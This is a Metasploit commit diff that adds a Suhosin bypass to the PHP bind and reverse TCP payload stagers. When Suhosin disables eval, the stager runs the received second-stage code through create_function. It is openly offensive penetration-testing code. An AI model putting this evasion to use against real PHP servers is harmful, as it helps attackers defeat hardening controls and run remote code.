Skip to content

Commit cad36ee

Browse files
author
Brent Cook
committed
Land rapid7#8952, suhosin compatibility added to staged payload
2 parents ea751dd + 8672697 commit cad36ee

File tree

8 files changed

+24
-8
lines changed

8 files changed

+24
-8
lines changed

lib/msf/core/payload/php/bind_tcp.rb

Lines changed: 9 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -109,7 +109,15 @@ def generate_bind_tcp(opts={})
109109
# Set up the socket for the main stage to use.
110110
$GLOBALS['msgsock'] = $s;
111111
$GLOBALS['msgsock_type'] = $s_type;
112-
eval($b);
112+
if (extension_loaded('suhosin') && ini_get('suhosin.executor.disable_eval'))
113+
{
114+
$suhosin_bypass=create_function('', $b);
115+
$suhosin_bypass();
116+
}
117+
else
118+
{
119+
eval($b);
120+
}
113121
die();^
114122
end
115123

lib/msf/core/payload/php/reverse_tcp.rb

Lines changed: 9 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -102,7 +102,15 @@ def generate_reverse_tcp(opts={})
102102
# Set up the socket for the main stage to use.
103103
$GLOBALS['msgsock'] = $s;
104104
$GLOBALS['msgsock_type'] = $s_type;
105-
eval($b);
105+
if (extension_loaded('suhosin') && ini_get('suhosin.executor.disable_eval'))
106+
{
107+
$suhosin_bypass=create_function('', $b);
108+
$suhosin_bypass();
109+
}
110+
else
111+
{
112+
eval($b);
113+
}
106114
die();^
107115
end
108116

modules/payloads/stagers/php/bind_tcp.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -8,7 +8,7 @@
88

99
module MetasploitModule
1010

11-
CachedSize = 1188
11+
CachedSize = 1338
1212

1313
include Msf::Payload::Stager
1414
include Msf::Payload::Php::BindTcp

modules/payloads/stagers/php/bind_tcp_ipv6.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -8,7 +8,7 @@
88

99
module MetasploitModule
1010

11-
CachedSize = 1187
11+
CachedSize = 1337
1212

1313
include Msf::Payload::Stager
1414
include Msf::Payload::Php::BindTcp

modules/payloads/stagers/php/bind_tcp_ipv6_uuid.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -8,7 +8,7 @@
88

99
module MetasploitModule
1010

11-
CachedSize = 1361
11+
CachedSize = 1511
1212

1313
include Msf::Payload::Stager
1414
include Msf::Payload::Php::BindTcp

modules/payloads/stagers/php/bind_tcp_uuid.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -8,7 +8,7 @@
88

99
module MetasploitModule
1010

11-
CachedSize = 1362
11+
CachedSize = 1512
1212

1313
include Msf::Payload::Stager
1414
include Msf::Payload::Php::BindTcp

modules/payloads/stagers/php/reverse_tcp.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -8,7 +8,7 @@
88

99
module MetasploitModule
1010

11-
CachedSize = 966
11+
CachedSize = 1116
1212

1313
include Msf::Payload::Stager
1414
include Msf::Payload::Php::ReverseTcp

modules/payloads/stagers/php/reverse_tcp_uuid.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -8,7 +8,7 @@
88

99
module MetasploitModule
1010

11-
CachedSize = 1140
11+
CachedSize = 1290
1212

1313
include Msf::Payload::Stager
1414
include Msf::Payload::Php::ReverseTcp

0 commit comments

Comments
 (0)